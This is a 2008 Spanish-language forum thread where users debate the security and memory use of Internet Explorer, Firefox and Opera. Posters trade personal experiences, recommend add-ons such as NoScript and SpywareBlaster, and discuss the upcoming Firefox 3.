Yo no vi ningun argumento claro y experimentado, de hecho son opiniones que cualquier usuario casero puede dar. En cambio yo te di la siguiente info que parece no interesarte:
Prácticamente todos los días - no exagero - se descubre una nueva vulnerabilidad en Internet Explorer. Microsoft debe publicar parches constantemente para evitar que sirva como puerta de entrada a hackers curiosos o malintencionados. Esta situación ha llevado a que instituciones como el CERT - del propio gobierno estadounidense - recomienden usar otros navegadores con mejores estándares de seguridad.
Tengo cierta experiencia creando webs y participo de foros de hacking en los que la seguridad de un navegador es lo más importante... y crees que la experiencia de miles de hackers y expertos en seguridad no cuenta? Porque hackers y expertos en seguridad usan FireFox... y Linux. Eso si es algo... es material util y no palabrerio para defender un navegador que fue varias veces denunciado por inseguro... Lo midieron, lo pesaron, y lo encontraron defectuoso. adriansuar 04/01/08, 13:24:35 ha ok.
:rolleyes: :rolleyes: :rolleyes: :rolleyes: :rolleyes: :rolleyes: :rolleyes: :rolleyes: Beetle-Juice 07/01/08, 14:38:46 Mi respuesta es : No alejoroldan 14/01/08, 18:15:10 Claro que NO, eso no se pregunta ;):negar:. $CRATUS 16/01/08, 10:24:29 Si nunca lo hiciste no vengas a comentar sobre navegadores porque tu experiencia se limita a navegar un poco y no sabes cómo se trabaja sobre las páginas web... tanto en HTML como JavaScript y PHP (por mencionar los más conocidos) tienen que ser adecuados para IE porque al muy bueno se le ocurre tener mil bugs y requisitos estúpidos para con los códigos y las cabeceras HTTP. No se porque comentan sobre navegadores sin conocer cómo funcionan o qué problemas traen.
************************************************** *
-Parece que no pillaste la indirecta :risa: :risa: pero bueno, da igual, que parece estoy a favor de IE :negar:
-Yo solo hago de abogado del diablo. :Bien: ;)
Saludos.
:flecha:________________:flecha: gente suave con la discucion sepamos respetar las opiniones de los demas :Bien: Matabufalez 16/01/08, 11:27:50 Esto parece una batalla campal,a lo vestia!
Veamos yo prefiero a mi amigo el zorro de fuego o incluso Safari,porque me gustan los tonos oscuros para navegadores,y segun dicen en Apple,es mas rapida ke firefox (cosa que dudo,pero bueno)
Independientemente de que sepas navegar,amigo adriansuar,siempre puedes sufrir un problema de redireccionamiento,que te lleve a una infeccion o demas,y es mas probable en Ie,pues es el primer objetivo de tantos hackers .
Yo se navegar,pero incluso puedo sufrir una infeccion,yo,o bien los usuarios que usan otro ordenador,que puede acabar afectandome a mi el virus en mi mismo ordenador,al distribuirse en red,si solo usas tu ese ordenador bien,pero los problemas de redireccionamiento,estan servidos.
Pues nada me extendi mas de lo que quisiera pero bueno,un saludo ;) ningún nombre 25/01/08, 18:28:00 Eso no se lo cree ni Bill Gates :biggrin:. lichtgestalt 25/01/08, 21:15:32 Diablos!
Leer algo asi me enferma...Es algo tan bajo. :negar::bate::shootist: adriansuar 25/01/08, 23:37:15 Tampoco estaba tan errado che..
Mozilla esta laburando mucho para que el prox navegador (el 3) que actualmente estoy usando, tenga mejor perfomance y rendimiento..
he notado muchos cambios en esta nueva version, mas ligero , mas opciones de busqueda, mas seguro,que me resultaron muy utiles..
si sigue asi , migrare definitivamente a FF.
Aclaro que estoy probando firefox 3 y me esta arrogando resultados muy buenos y similares que Internet explorer 6 , con respecto al rendimiento y perfomance.
Aconsejo mucho , probar esta nueva version , notaran el mejoramiento brusco del rendimiento de zorrito. XPLOIT_R2 26/01/08, 12:58:30 Desde mi punto de vista es falso, tengo entendido que Firefox es muchisimo mas seguro que IE debido a que los malware atacan principalmente a IE ya que es usado por la mayoria de personas a la hora de navegar. .:Poly:. 30/01/08, 21:23:25 Yo no se con quien quedarme T.T
cuando tenía IE, nunca tuve virus, aunque es un poco pesado, y no tiene Complementos
Mientras que cuando use Mozilla, mi Antivirus comenzo a detectar Espias, Troyanos, y Virus T.T...
pero gracias a Mozilla pude bajar videos, y nacvegar rápidamente, asi que no se con quien quedarme...
pero les digo la verdad...
para mi es mas cómodo navegar con Mozilla (lo que estoy haciendo ahora :smile:) adriansuar 31/01/08, 14:27:54 Acuerdense que firefox, no es 1 antivirus XD
tampoco se larguen a navegar en cualquier sitio :P ningún nombre 01/02/08, 08:49:22 Yo a Firefox lo uso con el plugin Site Advisor (disponible también para Internet Explorer) y con las extensiones NoScripts y AdBlock. Es lo mejor que hay para navegar seguro por internet :biggrin: Y no creo que sea sólo una opinión subjetiva mía. En una comparativa de navegadores que se hizo, apareció que, sin ningún complemento, el Opera es el navegador más seguro. Pero con los plugins, Firefox sobrepasa por lejos a los demás. adriansuar 01/02/08, 08:58:49 Alguien sabe cuando se lanza oficialmente firefox 3. la edicion estandar y publica ? .No se si me explico..
la que vos pongas mozilla en google y te salga Descargar mozilla 3.
Nadie sabe cuando sale? J3R3M1AS 01/02/08, 11:56:13 Hola
Antes que utilizar esos complementos pesados, pueden instalar spywareblaster que es una inmunizacion para que no se ejecuten los controles ActiveX maliciosos, los complementos para seguridad son estresantes ::ups::::ups::::ups::
En cuanto a firefox 3 pueden encontrar info en este enlace::
Firefox 3: Fecha del posible lanzamiento y novedades (http://www.noticias-tic.com/firefox-3-fecha-del-posible-lanzamiento-y-novedades)
Salu2! J3R3M1AS:
No todos esos complementos son pesados, de hecho la mayoría no lo son y resultan muy buenos. Ahora, lo que decis no tiene una direccion precisa porque los complementos son para FireFox, y los controles ActiveX son una tecnología propia de Internet Explorer. Mi FireFox está lleno de complementos y configuraciones que yo puse, y no me resulta estresante, de hecho está tan personalizado que me resulta muy cómodo navegar. J3R3M1AS 02/02/08, 12:39:25 Bueno el complemento NoScript me resulto estresante, y insignificante si se trata de un complemento para seguridad, por eso recomende spywareblaster (pruebal o y fijate que tiene inmunizacion para firefox) yo tengo varios complementos, livianos, pero no digas que no son pesados porque muchos si lo son xD, puede que los que provaste no lo sean..
Salu2! no , me parecen igual.
PD : cuando navego con IE nunca me he infectado de virus o otras cosas. alexer15 02/02/08, 22:27:06 La verdad es que Firefox si consume mas RAM que IE, eso lo he visto en muchos PC.
En la maquina en que se usa Firefox el 95 % del tiempo, tiene 1 GB de RAM y es un Core 2 Duo, pero que pasara en las Pentium III???
Tengo Firefox con IETab, con ColorFulTab, con el tema Futurosoft, y con otros Addons pequeños. 123enter 03/02/08, 00:24:16 Sólo comentaré los últimos post ya que este tema se hizo muy largo.
- SpywareBlaster y NoScript no son incompatibles, así que yo uso ambos. NoScript me parece genial, la primera que visito un sitio me protege, si veo que todo va bien le doy permiso y continúo con mi vida.
- Si no se han infectado usando IE los felicito, incluso diría que me sorprende, pero seguro es una de dos: tienes buenos hábitos de navegación o tu antivirus no detecta nada :biggrin:
- Sobre el consumo de Firefox, es cierto, consume más que IE y Opera juntos xD. Con un programita llamado Firefox Ultimate Optimizer se baja su consumo extraordinariamente. Búsquenlo y úsenlo.
- No puedo resistir contestar al que dice sobre ¿qué será de Firefox en un Pentium III?. Bueno, consume menos porque Firefox tiene en su configuración usar el procesador y la memoria RAM según el sistema en que se encuentra. Hace tiempo me sabía de memoria cómo cambiar eso, pero desde que encontré el programita de arriba (Firefox Ultimate Optimizer) me volví un vago del about:config.
Saludos Tambien hay otras configuraciones (la mayoria en abut:config) que permiten mejorar la velocidad de FireFox, una de ellas es el uso de pipelining, que aumenta mucho la velocidad de navegacion si tenemos banda ancha...
De todas formas la nueva version 3 de FireFox dirá cómo sigue el cuento... ya que para comparar usamos IE7, usemos también FF3. alexer15 03/02/08, 15:28:15 - No puedo resistir contestar al que dice sobre ¿qué será de Firefox en un Pentium III?. Bueno, consume menos porque Firefox tiene en su configuración usar el procesador y la memoria RAM según el sistema en que se encuentra. Hace tiempo me sabía de memoria cómo cambiar eso, pero desde que encontré el programita de arriba (Firefox Ultimate Optimizer) me volví un vago del about:config.
De hecho lo pregunto porque no lo sé. Nunca he usado un Firefox en maquinas pequeñas, a lo mucho en un Athlon XP 1600. En el cual no funcionaba rapido, pero tampoco lento.
Como repito, en el PC en que tengo Firefox es un Core Duo con 1 gb de RAM, tambien en un Athlon 64 FX 62 con 3 GB, en lo cuales cuando estoy por ejemplo en la pagina gametrailers.com, llega usar hasta 200 Megas de RAM. Claro esta que el PC ni se inmuta.
De hecho no me importa que Firefox use mas RAM, me gusta, lo uso en 9 Pc, y lo recomiendo ampliamente. Repitiendo, se puede hacer que consuma menos, aunque en el caso de una máquina con poca memoria es recomendable Opera, q consume cerca de 90 Mb... y (en mi caso) firefox no me come más de 140 Mb (al mango)... Bellota_182 04/02/08, 09:31:18 Tb prefiero a Firefox... lo descubrí hace unos 3 años y fue la maravilla, cerovetanas emergentes y la navegación con pestañas :biggrin: aunque el IE7 le copie todo eso jamás igualará a Firefox :fireIE: ningún nombre 04/02/08, 20:44:02 Firefox come mucha más memoria que otros programas, pero se adapta al hardware que uno tenga. En mi máquina, en promedio consume unos 68 mb. de ram (512 - 64 por la tarja de video, Athlon 64). Cuando sólo tenía el SiteAdvisor, la cantidad de memoria usada era mucho menor. Andaba por los 30000 kb, pero igualmente siempre fue el programa que más recursos comía ::ups::. A veces, pero sólo a veces y en estado "normal", el uso de cpu llega a 10. Pero lo normal es que esté en 02, 03. Pero igual vale la pena porque no creo que haya otro navegador más seguro que ese :biggrin:. De hecho, cuando usaba el Internet Explorer (todavía tengo el 6), aparecía un troyano cada dos semanas en promedio ::ups::. Y aunque navegara siempre por las mismas páginas (aunque no sé en qué andaría mi hermano :biggrin:, había muchos dialers también :biggrin:)
Desde que tengo Firefox desaparecieron los problemas de virus :afirmar: Por cierto, Opera se come a Firefox y a IE en seguridad, pero nadie duda que se come a este odiado agente de Mocosoft:
http://cosassencillas.files.wordpress.com/2007/07/firefox-vs-ie.jpg:risa::risa:
Un saludo.
ejem...... opera solo se come a FF en rapidez y consumo de recursos (eso me queda mas que claro) pero en lo demas, yo siento que FF le sigue ganando a los demas :biggrin:
aunque como ya dijeron en algun post anterior, con el Firefox Ultimate Optimizer, el consumo de recursos baja........ pero baja, vieran que a mi que me consumia algo asi de 65000 KB de memoria me ha bajado a 450 KB :Eh::Eh::Eh:
Y al principio pense que era solo visual, pero ya despues note que si era real :afirmar:
La pueden encontrar aqui (http://noticiastech.com/wordpress/?p=14518)
Y pues sobre el tema, pues no hace falta comentar algo que es mas que falso :afirmar:
:adios: $CRATUS 06/02/08, 10:54:31 ejem...... opera solo se come a FF en rapidez y consumo de recursos (eso me queda mas que claro) pero en lo demas, yo siento que FF le sigue ganando a los demas :biggrin:
aunque como ya dijeron en algun post anterior, con el Firefox Ultimate Optimizer, el consumo de recursos baja........ pero baja, vieran que a mi que me consumia algo asi de 65000 KB de memoria me ha bajado a 450 KB :Eh::Eh::Eh:
Y al principio pense que era solo visual, pero ya despues note que si era real :afirmar:
La pueden encontrar aqui (http://noticiastech.com/wordpress/?p=14518)
Y pues sobre el tema, pues no hace falta comentar algo que es mas que falso :afirmar:
:adios:
Una pregunta....
Cuantos programas necesita firefox para parecerse a Opera (http://es.wikipedia.org/wiki/Opera_(navegador)#Caracter.C3.ADsticas_.28v_9.x.29 ) que viene con todo por defecto????
Gestos con el ratón (mouse gestures, extensión)
Seguridad, Protección Anti-fraude (no Scritp, FirePhish Anti-Phishing Extension, extensiones)
Rapidez ( Firefox Ultimate Optimizer)
Navegación por sesiones (FEBE)
Administrador de cookies, huellas (CookieCuller Manager)
Navegación por voz
.......... (http://es.wikipedia.org/wiki/Opera_(navegador)#Caracter.C3.ADsticas_.28v_9.x.29 )
Saludos. :Bien: ;) La verdad: Hace un tiempo vengo dandole a Opera y es mucho mejor de lo que me esperaba, y a excepcion de algunos sitios con los que tengo problemas: (ejemplo: http://www.ayuda-internet.net/tutoriales/manual-freenode/manual-freenode.html)... el resto es navegar cómoda, rápida y seguramente, mucho más que con FireFox. Otra alternativa que probe fue IceWeasel, que me resulto excelente, pero tambien es algo pesado.
A demás, Opera tiene la capacidad de descargar ficheros por torrent, cosa que los demás no.
Pero no es el tema del debate... No? | |